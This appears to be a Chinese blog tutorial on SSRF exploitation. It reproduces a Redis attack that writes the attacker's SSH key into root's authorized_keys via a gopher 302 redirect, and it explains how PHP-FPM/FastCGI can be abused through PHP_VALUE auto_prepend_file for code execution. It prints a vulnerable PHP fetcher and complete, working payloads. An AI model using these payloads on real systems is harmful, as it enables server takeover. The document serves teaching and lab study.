SSRF实现.SSH未创建写shell和SSRF漏洞之FastCGI利用

2024-08-25 08:04

本文主要是介绍SSRF实现.SSH未创建写shell和SSRF漏洞之FastCGI利用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、SSRF (Server-side Request Forge, 服务端请求伪造)

1、概念:

2、ssrf示意图

3、Ssrf类型:

4、SSH未创建写shell的SSRF实现

二、漏洞复现

1、代码

2、存在 .ssh 文件:

3、Redis无密码,以root身份运行:

4、攻击步骤:

5、伪造Redis数据向 .ssh写入SSH公钥

6、id_rsa.pub文件里的数据为SSH公钥 

7、在自己的服务器上写302 跳转 

 8、kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip。 

三、PHP-FPM FastCGI 未授权利用

四、CGI、PHP-FPM、FastCGI

1、CGI原理

2、PHP-FPM通信方式

3、PHP-FPM漏洞原理

4、FastCGI攻击原理

五、SSRF攻击本地的PHP-FPM


一、SSRF (Server-side Request Forge, 服务端请求伪造)

1、概念:

它是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。漏洞产生由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

2、ssrf示意图

1.攻击者向服务器A发送一个让服务器A访问另外一个服务器B的请求
2.服务器A向服务器B发送一个请求
3.服务器B向服务器A发送响应
4.服务器A向黑客发送服务器B的响应

3、Ssrf类型:

Basic ssrf:返回结果到客户端,如果响应是一个网站,就会显示相应的界面或对应的html代码
Bind ssrf: 不会返回响应给客户端。

4、SSH未创建写shell的SSRF实现

要实现通过SSRF攻击未创建写shell的SSH,攻击者需要利用存在SSRF漏洞的服务器来伪造请求,这些请求可以用来与目标系统的SSH服务通信。通常,这涉及到以下步骤:                           1.发现SSRF漏洞:攻击者首先需要找到一个可以通过用户可控制的输入来发起外部请求的服务器。
2.利用SSRF漏洞:攻击者构造一个特殊的URL,使服务器向目标系统的SSH端口发送请求。
3.绕过身份验证:如果目标系统的SSH服务没有正确配置,攻击者可能会尝试利用已知的漏洞或默认凭证来绕过身份验证。
4.执行命令:一旦建立了SSH连接,攻击者可以尝试在目标系统上执行命令,以获取shell访问权限。
5.持久化访问:为了保持对目标系统的控制,攻击者可能会尝试写入SSH的authorized_keys文件,添加自己的公钥,从而实现无密码登录。

二、漏洞复现

1、代码

<!--index.html代码--><!DOCTYPE html>
<head><meta charset="utf-8">
</head>
<form action='index.php' method='get'>input url: <input type="text" name="url"><br><input type="submit" value="提交">
</form>
# indexp.php 代码
<?phpfunction check_ip($url)         #对ip进行限制,现在内网ip{$match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);if(!$match_res){echo 'url fomat erro';exit();}try{$url_parse=parse_url($url);}catch(Exception $e){echo 'url fomat error';exit();}$ip=gethostbyname($url_parse['host']);echo $ip;$ini_ip=ip2long($ip);if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip')){echo "ip can not inner ip";exit();}}$ch=curl_init();$url=$_GET['url'];check_ip($url);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);  #302调转支持gopher协议curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);                  #跟随跳转$res=curl_exec($ch);curl_close($ch);echo $res;?>

2、存在 .ssh 文件:

3、Redis无密码,以root身份运行:

4、攻击步骤:

        1、访问 http://漏洞机公网ip/index.html

5、伪造Redis数据向 .ssh写入SSH公钥

        在kali 的 /root/.ssh/ 下执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:

6、id_rsa.pub文件里的数据为SSH公钥 

用SSH公钥数据伪造Redis数据:

操作和上面的一样只是把上面的php代码换成 这个SSH公钥即可。得到的数据删除 “<”,“>”,“+OK” 后如下:

*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$567\rssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE= root@kali\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$11\r
/root/.ssh/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$15\r
authorized_keys\r
*1\r
$4\r
save\r

将“\r”转换为 “%0d”,“\n”转换为“%0a”,“$”转换为“%24” ,将SSH公钥部分用URL编码后如下:

*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A

7、在自己的服务器上写302 跳转 

# 在另一台自己的服务器上写一个302 重定向的代码
# index.php 代码
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>

 8、kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip。 

成功无密登录服务机。

三、PHP-FPM FastCGI 未授权利用

首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害

# 保证实验vps具有git、docker、pip、docker-compose、python基础环境
## 下载vulhub靶场资源
git clone https://github.com/vulhub/vulhub.git
## 找到fpm Fastcgi目录,一键搭建漏洞环境
docker-compose up -d

环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口

成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限

四、CGI、PHP-FPM、FastCGI

1、CGI原理

我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者

当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理

当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器

接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程 这其中,引出如下概念:

**FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
**PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能

PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_module、CGI、FastCGI,给IIS的ISAPI,以及Shell的CLI

经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + PHP-FPM(PHP-CGI)方式FastCGI工作原理

Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接

由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。

2、PHP-FPM通信方式

在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式

TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式

配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行

3、PHP-FPM漏洞原理

到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信

此时,我们自行构造SCRIPT_FILENAME的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd

但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions选项

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被FPM执行,默认是.php

因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:

  • 通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径

  • 找安装PHP后默认存在的PHP文件,如/usr/local/lib/php/PEAR.php

现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的

PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

若我们设置auto_prepend_filephp://inputallow_url_include=on),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了

那么我们如何设置PHP.INI中auto_prepend_file的值呢?

我们可以通过PHP-FPM的两个环境变量,PHP_VALUE PHP_ADMIN_VALUE来设置PHP.INI

最终,我们设置向PHP-FPM传递的环境变量:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'
}

最后两行设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码

4、FastCGI攻击原理

HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct {/* Header */unsigned char version; // 版本unsigned char type; // 本次record的类型unsigned char requestIdB1; // 本次record对应的请求idunsigned char requestIdB0;unsigned char contentLengthB1; // body体的大小unsigned char contentLengthB0;unsigned char paddingLength; // 额外块大小unsigned char reserved; /* Body */unsigned char contentData[contentLength];unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可

可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节

其中,header中的type代表本次record的类型,所有值及具体含义如下

服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”

当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

五、SSRF攻击本地的PHP-FPM

生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果

这篇关于SSRF实现.SSH未创建写shell和SSRF漏洞之FastCGI利用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1104999

相关文章

使用Python和OpenCV库实现实时颜色识别系统

《使用Python和OpenCV库实现实时颜色识别系统》:本文主要介绍使用Python和OpenCV库实现的实时颜色识别系统,这个系统能够通过摄像头捕捉视频流,并在视频中指定区域内识别主要颜色(红... 目录一、引言二、系统概述三、代码解析1. 导入库2. 颜色识别函数3. 主程序循环四、HSV色彩空间详解

PostgreSQL中MVCC 机制的实现

《PostgreSQL中MVCC机制的实现》本文主要介绍了PostgreSQL中MVCC机制的实现,通过多版本数据存储、快照隔离和事务ID管理实现高并发读写,具有一定的参考价值,感兴趣的可以了解一下... 目录一 MVCC 基本原理python1.1 MVCC 核心概念1.2 与传统锁机制对比二 Postg

SpringBoot整合Flowable实现工作流的详细流程

《SpringBoot整合Flowable实现工作流的详细流程》Flowable是一个使用Java编写的轻量级业务流程引擎,Flowable流程引擎可用于部署BPMN2.0流程定义,创建这些流程定义的... 目录1、流程引擎介绍2、创建项目3、画流程图4、开发接口4.1 Java 类梳理4.2 查看流程图4

C++中零拷贝的多种实现方式

《C++中零拷贝的多种实现方式》本文主要介绍了C++中零拷贝的实现示例,旨在在减少数据在内存中的不必要复制,从而提高程序性能、降低内存使用并减少CPU消耗,零拷贝技术通过多种方式实现,下面就来了解一下... 目录一、C++中零拷贝技术的核心概念二、std::string_view 简介三、std::stri

C++高效内存池实现减少动态分配开销的解决方案

《C++高效内存池实现减少动态分配开销的解决方案》C++动态内存分配存在系统调用开销、碎片化和锁竞争等性能问题,内存池通过预分配、分块管理和缓存复用解决这些问题,下面就来了解一下... 目录一、C++内存分配的性能挑战二、内存池技术的核心原理三、主流内存池实现:TCMalloc与Jemalloc1. TCM

OpenCV实现实时颜色检测的示例

《OpenCV实现实时颜色检测的示例》本文主要介绍了OpenCV实现实时颜色检测的示例,通过HSV色彩空间转换和色调范围判断实现红黄绿蓝颜色检测,包含视频捕捉、区域标记、颜色分析等功能,具有一定的参考... 目录一、引言二、系统概述三、代码解析1. 导入库2. 颜色识别函数3. 主程序循环四、HSV色彩空间

Linux脚本(shell)的使用方式

《Linux脚本(shell)的使用方式》:本文主要介绍Linux脚本(shell)的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述语法详解数学运算表达式Shell变量变量分类环境变量Shell内部变量自定义变量:定义、赋值自定义变量:引用、修改、删

Python实现精准提取 PDF中的文本,表格与图片

《Python实现精准提取PDF中的文本,表格与图片》在实际的系统开发中,处理PDF文件不仅限于读取整页文本,还有提取文档中的表格数据,图片或特定区域的内容,下面我们来看看如何使用Python实... 目录安装 python 库提取 PDF 文本内容:获取整页文本与指定区域内容获取页面上的所有文本内容获取

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1

Java使用HttpClient实现图片下载与本地保存功能

《Java使用HttpClient实现图片下载与本地保存功能》在当今数字化时代,网络资源的获取与处理已成为软件开发中的常见需求,其中,图片作为网络上最常见的资源之一,其下载与保存功能在许多应用场景中都... 目录引言一、Apache HttpClient简介二、技术栈与环境准备三、实现图片下载与保存功能1.